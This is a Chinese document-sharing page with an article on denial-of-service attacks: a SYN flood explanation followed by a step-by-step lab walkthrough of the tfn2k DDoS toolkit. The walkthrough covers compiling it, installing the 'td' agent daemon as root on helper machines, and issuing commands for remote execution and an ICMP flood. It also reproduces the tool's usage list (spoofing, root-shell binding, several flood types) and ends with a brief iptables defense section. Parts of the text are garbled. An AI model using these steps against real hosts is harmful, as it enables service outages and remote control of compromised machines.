




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
1、拒絕服務攻擊( DOS,Denial Of Service) 可以指任何使服務 不能正常提供的操作。如軟件 bug, 操作失誤等。不過現在因為失誤 操作而造成的dos,可能性非常小,更多的是惡意的攻擊行為。現在 拒絕服務攻擊早已演變為分布式拒絕服務攻擊 (DDOS,Distributed Denial Of Service), 利用更多的代理集中攻擊目標,其危害更大。我們大家都知道 tcp/ip 協議現在已經成為整個 internet 框架協 議,可以說,如果沒有 tcp/ip ,至少 internet 不會像現在這樣普及, 甚至不可能會有 internet 。但凡事皆有兩面性, tcp/ip
2、 使我們大家 受益,同時因為協議本身構造的問題, 它也成為別人攻擊我們的工具。 我們以 tcp 三握手建立連接的過程來說明。一、tcp syn flood1. 客戶端 (client) 發送一個包含 SYN(synchronize) 的 tcp 包至服 務器,此數據包內包含客戶端端口及 tcp 序列號等基本信息。2. 服務器(server)接收到SYN包之后,將發送一個SYN-AC電來確 認。3. 客戶端在收到服務器的SYN-ACI包之后,將回送ACK至服 務器,服務器如接收到此包,則TCP!接建立完成,雙方可以進行通 訊(感覺像,一拜天地 . 二拜高堂 . 送入洞房 . 哈哈)問題就出在第3
3、步,如果服務器收不到客戶端的 ACK包,將會等 待下去,這種狀態叫做半連接狀態。它會保持一定時間 ( 具體時間不 同操作系統不同),如果SYN青求超過了服務器能容納的限度,緩沖區 隊列滿,那么服務器就不再接收新的請求了 , 其他合法用戶的連接都 被拒絕掉。這種攻擊往往事半 罪 倍,殺傷力超強。當 然 , DOS 攻 擊 的 方 法 多 種 多 樣 , 如 :UDP flood,ICMP/Ping,ICMP/SMURF., 具體 原理 的 介紹 大 家可 以 到 去看看,有 很詳細的原理及常用攻擊軟件介紹。不過說到DOS攻擊軟件,最具代表的莫過于 tfn2k (Tribe Flood Netwo
4、rk 2000), 其作者是德國大名 鼎鼎的 mixter( 其主頁 http:/mixter.void.ru/papers.html),好像最近正在埋頭搞什么 tfn3k ,哎 ,不知道又有多少人寢食難安了 . 二 .tfn2k 攻擊原理1. tfn2k 的攻擊體系。tfn2k應該算是DDOS攻擊中的代表作,其所能實現的功能讓人 瞠目結舌,嘆為觀止 .( 對它的敬畏有如滔滔江水,延續不絕 .) 來看看它的架構。主控端 - 運行 tfn 客戶端,來遙控并指定攻擊目標,更改攻擊 方法.( 罪大惡極 )代理端 - 被植入并運行 td 進程的犧牲品, 接受 tfn 的指揮, 攻 擊的實施者 .需要注
5、意的是,一個攻擊者,往往控制多臺代理來完成 攻擊,而且其系統多為 unix,linux 等.( 可憐的犧牲品)目標主機-被攻擊的主機或網絡,曾經被DDOS勺有YahooAmazon、CNN、e-bay 等.( 最大的受害者,郁悶如我 )2. tfn2k 特性。主控端通過TCP UDP ICMP或隨機性使用其中之一(默認.隨機)的數據包向代理端主機發送命令 , 攻擊方法包括 TCP/SYN、 UDP、ICMP/PING 混合攻擊、TARGA等。主控端與代理端的通訊采取單向,即主控端只向代理端發送 命令,并且會采取隨機的頭信息,甚至虛擬的源地址信息 , 代理端不 會逆向向主控端發送任何信息 .所有
6、命令經過CAST-256算法加命,其關鍵字即編譯程序時的輸入的口令 . 并且這個口令做為唯一認證憑證 . 利用 td 進程,主控端可以遠程執行 shell 命令. td 進程的名稱可以在編譯時更改 , 更便于隱藏 . tfn 可以編譯運行于 win32 及 linux 系統的 .至于偽造源 IP 地址等功能,更是基本功能,并且其與老版本的 tfn 相比,它的發包效率更高,我自已的測試,在短短不到 5分鐘, 兩臺代理機,使我的 redhat linux 9.0 系統癱瘓 .三 .tfn2k 實戰測試1. 測試環境 :軟件: redhat linux 9.0硬件平臺:master:IP: 192.
7、168.0.6PIV2.4/256*2/rtl8139Ag1 :IP: PIV2.4/256*/rtl8139AG2 : IP: pIV2.6/512*2/3c905AIM: pIV2.66c/512*2/3c905switch: D_link des 1024R1. 下載 tfn2k.tgz( 因為此軟件非比尋常,所以我并不提供下載地址,如果有興趣,自已到網上找吧 )2. 解壓: tar zxvf tfn2k.tgz3. 修改文件A. src/Makefile 如果你的系統是 linux 系統,不需要做任何修就可以,如果是 w
8、in32 系統,請將# Linux / *BSD* / OthersCC = gccCFLAGS = -Wall -O3CLIBS =這幾行注釋掉 , 并將# Win32 (cygwin)#CC = gcc#CFLAGS = -Wall -DWINDOZE -O2#CLIBS =這幾行的注釋去掉 . 因為我的測試系統為 redhat linux 9.0 所以 并未做任何修改 .B. src/config.h ,默認的就可以用,如果感興趣,可以照其注 釋信息進行調整。C. src/ip.h 這里要做一些修改,否則編譯會有錯誤,發生重復 定義。/*struct in_addrunsigned lo
9、ng int s_addr;*/注意啊我可是將它放在 /* */之間,也就是注釋掉了 :)D. 更改編譯器:因為 tfn2k 支持的是 egcs-1.1.2-30, 而 redhat linux9.0 所包 含的是 gcc-3.2.2-5, 所以如果不替換掉 gcc,tfn2k 是編譯不過去的 . 需要注意的是,更改之后,有可能會造成基于 gcc3.2.2 的軟件編譯 不去, 請謹慎而行 .方法很簡單 的,找 到一張 redhat linux 6.2 安裝盤 , 將 egcs-1.1.2-30.rpm 、cpp-1.1.2-30.rpm 拷到/cd /mnt/cdrom/Redhat/RPMS
10、cp egcs-1.1.2-30* cpp-1.1.2-30* /安裝 cpp rpm -Uvh -nodeps -oldpackage cpp-1.1.2-30.i386.rpm安裝 egcs rpm -Uvh egcs-1.1.2-30.i386.rpm( 如果提示有誤,用 nodeps、oldpackages 、 ignoreos 等參數忽略過 去就是了)4. 編譯 tfn2kcd tfn2k/srcmake首先會談出一個聲明,你必須接受,之后會提示輸入 8-32 位密 碼, 前邊提到過,這是唯一的認證憑證,會被分發于 td 進程中,所以 一定要記牢噢 。編譯通過后,會產生 td 及 t
11、fn ,這就是大名鼎鼎的 tfn2k 啦 ,td 是守護進程,用來安裝在代理中的,而 tfn 就是控制端 .5. 安裝 td.將 td 上 傳 到 我 的 兩 臺 代 理 ,ag1() 和 ag2() ,因為我只不過測試, 所以用的是合法的 root 來 上傳并執行 td 進程的,如果真要找到并安裝一個代理,你可能得費 點兒神,因為沒有一個管理員會說 “comeon baby . 我給你 root, 來安裝 td 做代理吧”roottest / ftp Connected to .530 Please lo
12、gin with USER and PASS.530 Please login with USER and PASS.Name (:root): wjpfjy331 Please specify the password. Password:230 Login successful. Have fun. Remote system type is UNIX.Using binary mode to transfer files.ftp put td ( 上傳 td)local: td remote: td227 Entering Passive Mode (192,168
13、,0,3,198,225)553 Could not create file.ftp by ( 退出 ftp)221 Goodbye.roottest /ssh / 登陸到 ag1 以執行 td , 注意,我用的是 root 帳戶,這樣才有足夠 的權限來執行它 .roots password:Last login: Tue Feb 24 06:51:13 2004 root ag1 /find / -name td -print/ 找到剛上傳過來的文件 td.root ag1 wjpfjy/chmod a+x td/ 使之具有執行權限 .root a
14、g1 wjpfjy/./td/ 運行 td ,這樣你就擁有一個代理了,它會對你唯命是從的 :( 。用同樣的方法在ag2 ()上安裝并運行TFN2k進程td.6. 攻擊開始 (悲慘的回憶上演中 .)回到 master( ) ,準備演練 .rootmaster root#touch host.txt/ 建立代理記錄文件 (因為如果你足夠無聊的話,有可能會建立很多 的肉雞/ 代理,不記下會忘記的噢 .)rootmaster rootecho host.txt將執行過td 的 ag1 加入 host.txt 。rootmaster r
15、ootecho host.txt 添加 ag2到 host.txt .先來測試一下鏈接。rootmaster root./tfn -f host.txt -c 10 -i mkdir wjpfjy 與 host.txt 中的代理通訊,讓其執行命令 mkdir wjpfjy 即建立一個 目錄:Protocol : randomSource IP : randomClient input : listCommand : execute remote commandPassword verification:/ 這里,會被提示輸入密碼,也就是編譯時輸入的密碼 , 如果錯了,將
16、無法與 td 進程通訊Sending out packets: .到 ag1 和 ag2 看看有沒有建立目錄名 wjpfjy ,一般情況下 , 會存 在于 td 的同一目錄 , 如果不確定,可以用 find / -namewjpfjy -print 來查找rootmaster root./tfn -f host.txt -c 6 -i 開始ICMP/PING攻擊aim.(可憐我的P4啊,不到5分鐘,就跟386 一樣慢 ),不過它在 gameover 前,還是很艱辛的記錄下了攻擊數據 , 也算是對得住的那NK大洋啦.這是tcpdump的抓包記錄.rootaim root#
17、tcpdump -r pack.atta -c 4 -xX 08:03:36.524907 icmp: echo requestttl 00x0000 4500 005c 659d 0000 0001 d22e 172b ab00 E.e+.0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 0x0020 0000 0000 0000 0000 0000 0000 0000 0000 0x0030 0000 0000 0000 0000 0000 0000 0000 0000 0x0040 0000 00
18、00 0000 0000 0000 0000 0000 0000 0x0050 0000 .08:03:36.524933 : icmp: echo reply0x0000 4500 005c a5d5 0000 4001 51f6 c0a8 0002 E.Q0x0010 172b ab00 0000 ffff 0000 0000 0000 0000 .+0x0020 0000 0000 0000 0000 0000 0000 0000 0000 0x0030 0000 0000 0000 0000 0000 0000 0000 0000 0x00
19、40 0000 0000 0000 0000 0000 0000 0000 0000 0x0050 0000 .08:03:36.524944 : icmp: echo request ttl 00x0000 4500 005c 659d 0000 0001 ed6e 24eb 8200 E.en$.0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 0x0020 0000 0000 0000 0000 0000 0000 0000 0000 0x0030 0000 0000 0000 0000 0000
20、 0000 0000 0000 0x0040 0000 0000 0000 0000 0000 0000 0000 0000 0x0050 0000 .08:03:36.524984 : icmp: echo reply0x0000 4500 005c 551c 0000 4001 bdef c0a8 0002 E.U.0x0010 24eb 8200 0000 ffff 0000 0000 0000 0000 $0x0020 0000 0000 0000 0000 0000 0000 0000 0000 0x0030 0000 0000 000
21、0 0000 0000 0000 0000 0000 0x0040 0000 0000 0000 0000 0000 0000 0000 0000 rootmaster root./tfn -f host.txt -c 0停止攻擊Protocol : randomSource IP : randomClient input : listCommand : stop floodingPassword verification: Sending out packets: .當然還有別的攻擊方法,你只要用 -c X 就可以更改攻擊方法 . rootmaster root./tfnusage: ./t
22、fn-P protocol Protocol for server communication. Can be ICMP, UDP or TCP.Uses a random protocol as default-D n Send out n bogus requests for each real one to decoy targets-S host/ip Specify your source IP. Randomly spoofed by default, you needto use your real IP if you are behind spoof-filtering rou
23、ters-f hostlist Filename containing a list of hosts with TFN servers to contact-h hostname To contact only a single host running a TFNserver -i target string Contains options/targets separated by , see below-p port A TCPdestination port can be specified for SYNfloods 0 - Halt all current floods on s
24、erver(s)immediately1 - Change IP antispoof-level (evade rfc2267filtering)usage: -i 0 (fully spoofed) to -i3 (/24 host bytes spoofed)2 - Change Packet size, usage: -i3 - Bind root shell to a port, usage: -i4 - UDP flood, usage: -i victimvictim2victim3.5 - TCP/SYN flood, usage: -i victim. -p destinati
25、on port6 - ICMP/PING flood, usage: -i victim.7 - ICMP/SMURF flood, usage: -i victimbroadcastbroadcast2.8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim.9 - TARGA3flood (IP stack penetration), usage: -i victim.10 - Blindly execute remote shell command, usage -i command四. 防守辦法就如同網上所有介紹DDOS勺
26、文章一樣,DDO霸不勝防,我試著 用防火墻過濾掉所有 icmp 包,來保護我的主機,但所實現的,只是 我的主機晚點兒崩潰而已.哎,別指望我來防 DDOS要能防,我也 不用不睡覺啊 :(還是那句老話, 我們能做的, 就是盡量讓我們的主機不成為別人 攻擊的代理,并對 intranet 內出行的包進行嚴格限制,盡量不去危 害別人,只要大家都這樣做, 我們的網絡環境才可以安全一些, 至少, 我可以安心睡幾天覺 .附上我防火墻的一部分.主要是針對ICMP/PING的,不過用處不 太大:(/sbin/iptables -P INPUT DROP/sbin/iptables -A INPUT -i lo -
27、p all -j ACCEPT/sbin/iptables -A INPUT -i eth1 -p icmp -j ACCEPT/sbin/iptables -A INPUT -p icmp -icmp-type 8 -j DROP/sbin/iptables -A INPUT -s -i lo -j ACCEPT/sbin/iptables -A INPUT -s -i eth0 -j DROP/sbin/iptables -A INPUT -s $LAN_NET/24 -i eth0 -j DROP/sbin/iptables -A INPUT -s /12 -i eth0 -j DROP/sbin/iptables -A INPUT -s /8 -i eth0 -j DROP/sbin/iptables -A INPUT -i eth0 -m limit -limit 1/sec-limit-burst 5 -j ACCEPT/sbin/iptables -A INPUT-i eth0 -p udp -m state -state NEW -j REJECT/sbin/iptables -A INPUT -p tcp -dp
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 煙草設備智能制造與大數據分析考核試卷
- 鹽行業競爭戰略與發展方向考核試卷
- 小學四年級數學四則運算練習題50道
- 7-3寄存器傳輸語言
- 洛陽商業職業學院《實驗診斷E》2023-2024學年第二學期期末試卷
- 四川省遂寧蓬溪縣聯考2024-2025學年初三5月中考模擬試題英語試題試卷含答案
- 四川輕化工大學《智能微電網控制技術》2023-2024學年第二學期期末試卷
- 內蒙古呼和浩特市賽罕區2025屆初三3月月考語文試題含解析
- 江西省鷹潭市余江區2024-2025學年三下數學期末檢測試題含解析
- 江西省彭澤縣湖西中學2024-2025學年普通高中教育教學質量監測考試(1月)生物試題含解析
- 物理跨學科實踐:制作微型密度計+課件2024-2025學年人教版物理八年級下冊
- 2024四川瀘州市公共交通集團有限公司招聘1人筆試參考題庫附帶答案詳解
- 北京市海淀區2024年七年級下學期數學期中考試試卷(附答案)
- 兒童保健學課件:緒論
- 中小學校園安全穩定工作崗位責任清單
- 論提高行政效率的途徑 開題報告
- 校園安全存在問題及對策
- NY∕T 309-1996 全國耕地類型區、耕地地力等級劃分
- 濃縮機的選擇與計算
- 滬教版六年級下冊單詞表
- 地基基礎軟弱下臥層驗算計算表格
評論
0/150
提交評論